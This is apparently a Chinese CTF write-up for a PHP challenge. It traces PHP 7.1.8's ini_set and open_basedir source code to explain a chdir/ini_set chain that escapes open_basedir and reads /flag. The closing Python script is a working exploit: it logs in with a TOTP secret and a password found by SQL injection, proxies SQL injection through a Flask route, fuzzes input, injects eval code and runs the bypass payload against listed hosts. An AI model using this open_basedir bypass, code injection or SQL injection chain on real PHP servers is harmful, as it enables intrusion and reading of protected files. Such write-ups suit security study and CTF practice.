送给小蛮腰的礼物，她是一位美丽的姑娘。

A gift for Canton Tower, a pretty girl.

http://207.148.79.106:8090 (sg-sgp)

http://45.76.193.153:8090 (jp-tky)

http://222.85.25.41:8090 (cn-zgz)

http://136.244.114.21:8090 (fr-par)

http://66.42.96.82:8090 (us-lax)

chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));

xq17@localhost  ~/Desktop/个人学习/php扩展学习/debugphp/php-7.1.8/ext  tree -L 1
.
├── bcmath
├── bz2
├── calendar
├── com_dotnet
├── ctype
├── curl
├── date
├── dba
├── dom
├── enchant
├── exif
├── ext_skel
├── ext_skel_win32.php
├── fileinfo
├── filter
├── ftp
├── gd
├── gettext
├── gmp
├── hash
├── iconv
├── imap
├── interbase
├── intl
├── json
├── ldap
├── libxml
├── mbstring
├── mcrypt
├── mysqli
├── mysqlnd
├── oci8
├── odbc
├── opcache
├── openssl
├── pcntl
├── pcre
├── pdo
├── pdo_dblib
├── pdo_firebird
├── pdo_mysql
├── pdo_oci
├── pdo_odbc
├── pdo_pgsql
├── pdo_sqlite
├── pgsql
├── phar
├── posix
├── pspell
├── readline
├── recode
├── reflection
├── session
├── shmop
├── simplexml
├── skeleton
├── snmp
├── soap
├── sockets
├── spl
├── sqlite3
├── standard
├── sysvmsg
├── sysvsem
├── sysvshm
├── tidy
├── tokenizer
├── wddx
├── xml
├── xmlreader
├── xmlrpc
├── xmlwriter
├── xsl
├── zip
└── zlib

PHP_FUNCTION(ini_set)
{
    zend_string *varname; 
    zend_string *new_value;
    char *old_value;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
        return;
    }

    old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0);

    /* copy to return here, because alter might free it! */
    if (old_value) {
        RETVAL_STRING(old_value);
    } else {
        RETVAL_FALSE;
    }

#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini))
    /* open basedir check */
    if (PG(open_basedir)) {
        if (_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "error_log") ||
            _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.class.path") ||
            _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.home") ||
            _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "mail.log") ||
            _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.library.path") ||
            _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "vpopmail.directory")) { /
            if (php_check_open_basedir(ZSTR_VAL(new_value))) {
                zval_dtor(return_value);
                RETURN_FALSE;
            }
        }
    }

    if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
        zval_dtor(return_value);
        RETURN_FALSE;
    }
}

zend_string *varname; 
    zend_string *new_value;
  # 在zend_types.h->typedef struct _zend_string     zend_string;

struct _zend_string {
    zend_refcounted_h gc; //变量引用计数
    zend_ulong        h;                /* hash value */
    size_t            len; //字符串长度,可以防止c语言溢出。
    char              val[1]; //字符串内容，这是个动态的变长struct
};

if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
        return;
    }
//zend_parse_parameters 这个方法顾名思义就是拿来解析函数参数的，SS代表是两个字符串
//debug进去看下值

char *old_value;
.....
old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0);
//ZSTR_开头的宏方法是zend_string结构专属方法 取值 取长度
// zend_ini_string就是加载ini配置中的open_basedir这个原本的值啦

#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini))
// 为了简化下代码用了下define 继续跟进，省略一些无关的细节

//前面的都不是open_basedir,所以直接跳到这里了
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
        zval_dtor(return_value);
        RETURN_FALSE;
    }

ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) {
#endif //这里就是比较 我们设置的 ini_set('open_basedir', '..'); 和  resolved_basedir是否一致
            if (resolved_name_len > resolved_basedir_len &&
                resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {
                return -1;
            } else {
                /* File is in the right directory */
                return 0;
            }
        }

if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) {
#if defined(PHP_WIN32) || defined(NETWARE)
                if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#else
                if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#endif
                    return 0;
                }
            }
            return -1;
        }

strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0
//这里把resolved_basedir 和 resolved_name(拼接结果)进行了比较

#!/usr/bin/python
# -*- coding:utf-8 -*-
# type: UnderScoreCase

import pyotp as pyotp
import string
import requests
import urllib
import re
from flask import Flask


app = Flask(__name__)
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
retry_count = 5
timeout = 5
debug = True
deep_debug = False
proxies = 'http://127.0.0.1:8080'
s = requests.session()
# all printable char
fuzz_char =  string.printable

@app.route('/sql/username=<username>')
def attack_sql(username):
    attack_url = 'http://136.244.114.21:8090/shell.php'
    username = urllib.unquote(username).replace(' ', '/**/')
    # username = urllib.quote(username)
    params = {
        'a' : 'login admi%s admin' % username,
        'totp' : totp.now()
    }
    if debug:
        print(params)
    r =  get(0, attack_url, params, 0)
    return r.content
    # return 'Hello World %s!' % username
def get(session, url, params, proxies):
    retry = 0 
    while  True:
        retry += 1
        try:
            if session:
                if proxies:
                    res = s.get(url, params=params, timeout=timeout, proxies=proxies)
                else:
                    res = s.get(url, params=params, timeout=timeout)
            else:
                if proxies:
                    res = requests.get(url, params=params, proxies=proxies)
                else:
                    res = requests.get(url, params=params)
        except Exception as e:
            if retry >= retry_count:
                print('timeout or server error!')
                exit()
            continue
        break
    return res

def login(username, password):
    login_url = 'http://136.244.114.21:8090/shell.php'
    params = {
        'a' : 'login %s %s' % (username, password),
        'totp' : totp.now()
    }
    if debug:
        print(params)
    # start login session=1
    r = get(1, login_url, params, 0)
    return r

def fuzzer(characters = fuzz_char ,position = '0'):
    if debug:
        print('Fuzzer Start')
    fuzz_url = 'http://136.244.114.21:8090/shell.php'
    available_char = []
    available_char_ascii = [] 
    payload_params = {
        'a' : 'targeting 0 1',
        'totp' : totp.now() 
    }
    for ch in fuzz_char:
        params = payload_params.copy()
        params['a'] = params['a'].replace(position, ch)
        res = get(1 , fuzz_url, params, 0)
        if deep_debug:
            print(params)
            print(payload_params)
            print(res.content)
            # break
        if 'bad code' not in res.text and 'bad position' not in res.text and '"code":0' in res.text:
            if deep_debug:
                print(res.content)
            available_char.append(ch)
            available_char_ascii.append(ord(ch))
    if debug:
        print('Fuzz Length start...')
        print(payload_params)
    fuzz_length = 0
    max_len = 30
    fuzz_len = 0
    length_params = {
        'a' : 'targeting 0 1',
        'totp' : totp.now() 
    }
    fuzz_string = ''
    for count in range(max_len):
        fuzz_string = fuzz_string + '1'
        params = length_params.copy()
        params['a'] = params['a'].replace(position, fuzz_string)
        res = get(1, fuzz_url, params, 0)
        if deep_debug:
            print(position)
            print(params)
            print(fuzz_string)
            break
        if 'too long' in res.content:
            fuzz_len = count
            break
    print('payload_params:')
    print(payload_params)
    print('Position %s  maxLength:' % position)
    print(fuzz_len + 1)
    print('Position %s Available_char:' % position)
    print(''.join(available_char))
    print('Position %s Available_char_ascii:' %  position)
    print(available_char_ascii)
    if debug:
        print('Fuzzer End')
    return True

def destruct():
    destruct_url = 'http://136.244.114.21:8090/shell.php'
    payload = 'destruct'
    params = {
        'a': '%s' % payload,
        'totp' : totp.now()
    }
    res = get(1, destruct_url, params, 0)
    if debug:
        print('destructing.........')
        print('destruct params:')
        print(params)
        print('res_content:')
        print(res.content)
        print('destructed.............')
    if 'missiles destructed' in res.content:
        return True
    else:
        print('Fail ! destruct please check!')
        exit()

def targeting(code, position):
    targeting_url = 'http://136.244.114.21:8090/shell.php'
    payload = 'targeting %s %s' % (code, position)
    params = {
        'a' : payload,
        'totp' : totp.now()
    }
    res = get(1, targeting_url, params, 0)
    if debug:
        print('params:')
        print(params)
        print('res_code:' + str(res.status_code))
        print('res_content:')
        print(res.content)
    if res.content == '':
        print('timeout or server error!')
        exit()
    if 'mark' not in res:
        return False
    return True

def launch():
    launch_url = 'http://136.244.114.21:8090/shell.php'
    payload = 'launch'
    params = {
        'a' : payload,
        'totp' : totp.now(),
        # bypass open_basedir
        'x' : "chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));"
        # 'x' : 'phpinfo();'
        # 'f' : 'assert'
    }
    if debug:
        print("starting launch......")
        print('params:')
        print(params)
        print('payload:')
        print(payload)
        print("launch end......")
    return get(1, launch_url, params, 0).content

def get_flag():
    attack_url = 'http://136.244.114.21:8090/shell.php'
    username = 'admin'
    # Get password from sqlmap
    password = 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}'
    is_login = False
    if 'login success' in login(username, password).content:
        is_login = True
        if debug:
            print('islogin:')
            print(is_login)
    else:
        print('login fail!')
        exit()
    # Solve monitor 
    fuzzer(fuzz_char, '0')
    fuzzer(fuzz_char, '1')
    # Clean missiles
    destruct()
    # Add code
    targeting('b', '{$_GET{x}}')
    targeting('c', '${eval($b)}')
    flag_res = launch()
    if debug:
        print("flag_response start.........")
        print(flag_res)
        print("flag_response end...............")
    flag_pattern = re.compile('[a-zA-Z0-9]{6}{.*?}')
    flag_is = re.search(flag_pattern, flag_res)
    if flag_is:
        flag = flag_is.group()
        print("Get The Flag: ..................")
        print(flag)



if __name__ == '__main__':
    # app.run()  #开启这个之后可以sqlmap注入
    get_flag()